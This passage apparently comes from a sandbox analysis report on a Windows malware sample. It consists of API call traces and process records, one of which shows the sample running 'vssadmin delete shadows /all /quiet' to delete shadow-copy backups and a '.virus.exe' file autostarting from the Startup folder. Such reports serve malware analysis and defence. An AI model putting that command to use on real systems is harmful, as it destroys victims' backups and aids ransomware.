returned 0x271360 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271380 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2713a0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2713c0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2713e0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271400 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271420 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271440 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271460 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271480 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2714a0 [0058.791] GetProcessHeap () returned 0x250000 [0058.791] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2714c0 [0058.791] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2714e0 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271500 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271520 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271540 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271560 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271580 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2715a0 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2715c0 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2715e0 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271600 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271620 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271640 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271660 [0058.792] GetProcessHeap () returned 0x250000 [0058.792] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271680 [0058.792] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2716a0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2716c0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2716e0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271700 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271720 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271740 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271760 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271780 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2717a0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2717c0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2717e0 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271800 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271820 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271840 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271860 [0058.793] GetProcessHeap () returned 0x250000 [0058.793] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2718c0 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2718e0 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271900 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271920 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271940 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271960 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271980 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2719a0 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2719c0 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2719e0 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271a00 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271a20 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271a40 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271a60 [0058.794] GetProcessHeap () returned 0x250000 [0058.794] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271a80 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271aa0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ac0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ae0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271b00 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271b20 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271b40 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271b60 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271b80 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ba0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271bc0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271be0 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271c00 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271c20 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271c40 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271c60 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271c80 [0058.795] GetProcessHeap () returned 0x250000 [0058.795] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ca0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271cc0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ce0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271d00 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271d20 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271d40 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271d60 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271d80 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271da0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271dc0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271de0 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271e00 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271e20 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271e40 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271e60 [0058.796] GetProcessHeap () returned 0x250000 [0058.796] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271e80 [0058.796] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ea0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ec0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271ee0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271f00 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271f20 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271f40 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271f60 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271f80 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271fa0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271fc0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x271fe0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272000 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272020 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272040 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272060 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2720c0 [0058.797] GetProcessHeap () returned 0x250000 [0058.797] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2720e0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272100 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272120 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272140 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272160 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272180 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2721a0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2721c0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2721e0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272200 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272220 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272240 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272260 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272280 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2722a0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2722c0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x2722e0 [0058.798] GetProcessHeap () returned 0x250000 [0058.798] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x10) returned 0x272300 [0058.799] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0058.799] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x28) returned 0x26e060 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x2) returned 0x272890 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x14) returned 0x272320 [0058.799] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0058.799] GetProcessHeap () returned 0x250000 [0058.799] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x250000) returned 1 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x58) returned 0x2728b0 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x250000) returned 1 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0xb0) returned 0x272910 [0058.799] GetProcessHeap () returned 0x250000 [0058.799] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2728b0 | out: hHeap=0x250000) returned 1 [0058.799] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x127348 | out: phkResult=0x127348*=0x90) returned 0x0 [0058.800] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x127370, lpcbMaxValueNameLen=0x127380, lpcbMaxValueLen=0x127378, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x127370*=0x15, lpcbMaxValueNameLen=0x127380, lpcbMaxValueLen=0x127378, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.800] GetProcessHeap () returned 0x250000 [0058.800] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x16) returned 0x272340 [0058.800] GetProcessHeap () returned 0x250000 [0058.800] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x23) returned 0x26e090 [0058.800] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x272340, lpcchValueName=0x127340, lpReserved=0x0, lpType=0x0, lpData=0x26e090, lpcbData=0x127388 | out: lpValueName="4", lpcchValueName=0x127340, lpType=0x0, lpData=0x26e090, lpcbData=0x127388) returned 0x0 [0058.800] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0058.800] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0058.800] GetProcessHeap () returned 0x250000 [0058.800] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x50) returned 0x2728b0 [0058.800] GetProcessHeap () returned 0x250000 [0058.800] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x4) returned 0x2729d0 [0058.800] GetProcessHeap () returned 0x250000 [0058.800] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x1a) returned 0x26e0c0 [0058.800] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0058.800] GetProcessHeap () returned 0x250000 [0058.801] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x250000) returned 1 [0058.801] LoadLibraryW (lpLibFileName="RASMONTR.DLL") [0071.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x126d40 | out: lpSystemTimeAsFileTime=0x126d40*(dwLowDateTime=0xd160440, dwHighDateTime=0x1d696fc)) [0071.633] GetCurrentProcessId () returned 0x8dc [0071.633] GetCurrentThreadId () returned 0x8ec [0071.633] GetTickCount () returned 0x114a7d4 [0071.633] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x126d48 | out: lpPerformanceCount=0x126d48*=19061360562) returned 1 [0073.076] LoadLibraryA (lpLibFileName="MSVCRT.DLL") returned 0x7fefdee0000 [0073.305] GetVersion () returned 0x1db10106 [0073.305] SetErrorMode (uMode=0x0) returned 0x0 [0073.306] SetErrorMode (uMode=0x8001) returned 0x0 [0073.499] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x274360 [0073.500] LocalFree (hMem=0x274360) returned 0x0 [0073.500] GetVersion () returned 0x1db10106 [0073.504] GlobalLock (hMem=0x1d90008) returned 0x274360 [0073.804] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x274580 [0073.804] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x273080 [0073.804] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x272360 [0073.804] malloc (_Size=0x100) returned 0x477c80 [0073.804] __dllonexit () returned 0x7fef43e621c [0073.804] __dllonexit () returned 0x7fef43e66e0 [0075.155] __dllonexit () returned 0x7fef43e72b8 [0075.155] __dllonexit () returned 0x7fef43e87cc [0075.155] __dllonexit () returned 0x7fef43e8d64 [0075.155] __dllonexit () returned 0x7fef43e8db4 [0075.155] __dllonexit () returned 0x7fef43e8e70 [0075.155] __dllonexit () returned 0x7fef43ea308 [0075.155] __dllonexit () returned 0x7fef43e8810 [0075.418] __dllonexit () returned 0x7fef43f7598 [0075.418] __dllonexit () returned 0x7fef43e8880 [0075.418] __dllonexit () returned 0x7fef43ea170 [0075.421] __dllonexit () returned 0x7fef43ea280 [0075.421] __dllonexit () returned 0x7fef43ead44 [0075.421] __dllonexit () returned 0x7fef43ebc30 [0075.421] __dllonexit () returned 0x7fef43ebc80 [0075.421] __dllonexit () returned 0x7fef43ec338 [0075.421] __dllonexit () returned 0x7fef43ed030 [0075.421] __dllonexit () returned 0x7fef43e59cc [0075.422] __dllonexit () returned 0x7fef43e59f0 [0075.422] __dllonexit () returned 0x7fef43e5a1c [0075.423] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc0fc Process: id = "6" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x790a4000" os_pid = "0x8fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x7d4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x90c Thread: id = 28 os_tid = 0x91c Thread: id = 29 os_tid = 0x92c Thread: id = 30 os_tid = 0x93c Thread: id = 31 os_tid = 0x94c Process: id = "7" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0xa02a000" os_pid = "0x95c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b030" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 32 os_tid = 0x9bc Thread: id = 33 os_tid = 0x9ac Thread: id = 34 os_tid = 0x99c [0068.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfad820 | out: lpSystemTimeAsFileTime=0xfad820*(dwLowDateTime=0xb77d500, dwHighDateTime=0x1d696fc)) [0068.837] GetCurrentProcessId () returned 0x95c [0068.837] GetCurrentThreadId () returned 0x99c [0068.837] GetTickCount () returned 0x1149d3a [0068.837] QueryPerformanceCounter (in: lpPerformanceCount=0xfad828 | out: lpPerformanceCount=0xfad828*=18781737661) returned 1 [0068.837] malloc (_Size=0x100) returned 0x1d8e80 Thread: id = 35 os_tid = 0x98c Thread: id = 36 os_tid = 0x97c Thread: id = 37 os_tid = 0x96c Thread: id = 38 os_tid = 0x9ec Thread: id = 45 os_tid = 0x314 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7782f000" os_pid = "0x9fc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005bb67" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 39 os_tid = 0x648 Thread: id = 40 os_tid = 0x64 Thread: id = 41 os_tid = 0x644 Thread: id = 42 os_tid = 0xa7c Thread: id = 43 os_tid = 0xa0c Thread: id = 44 os_tid = 0xa00 Process: id = "9" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x92de000" os_pid = "0x594" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x480" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT 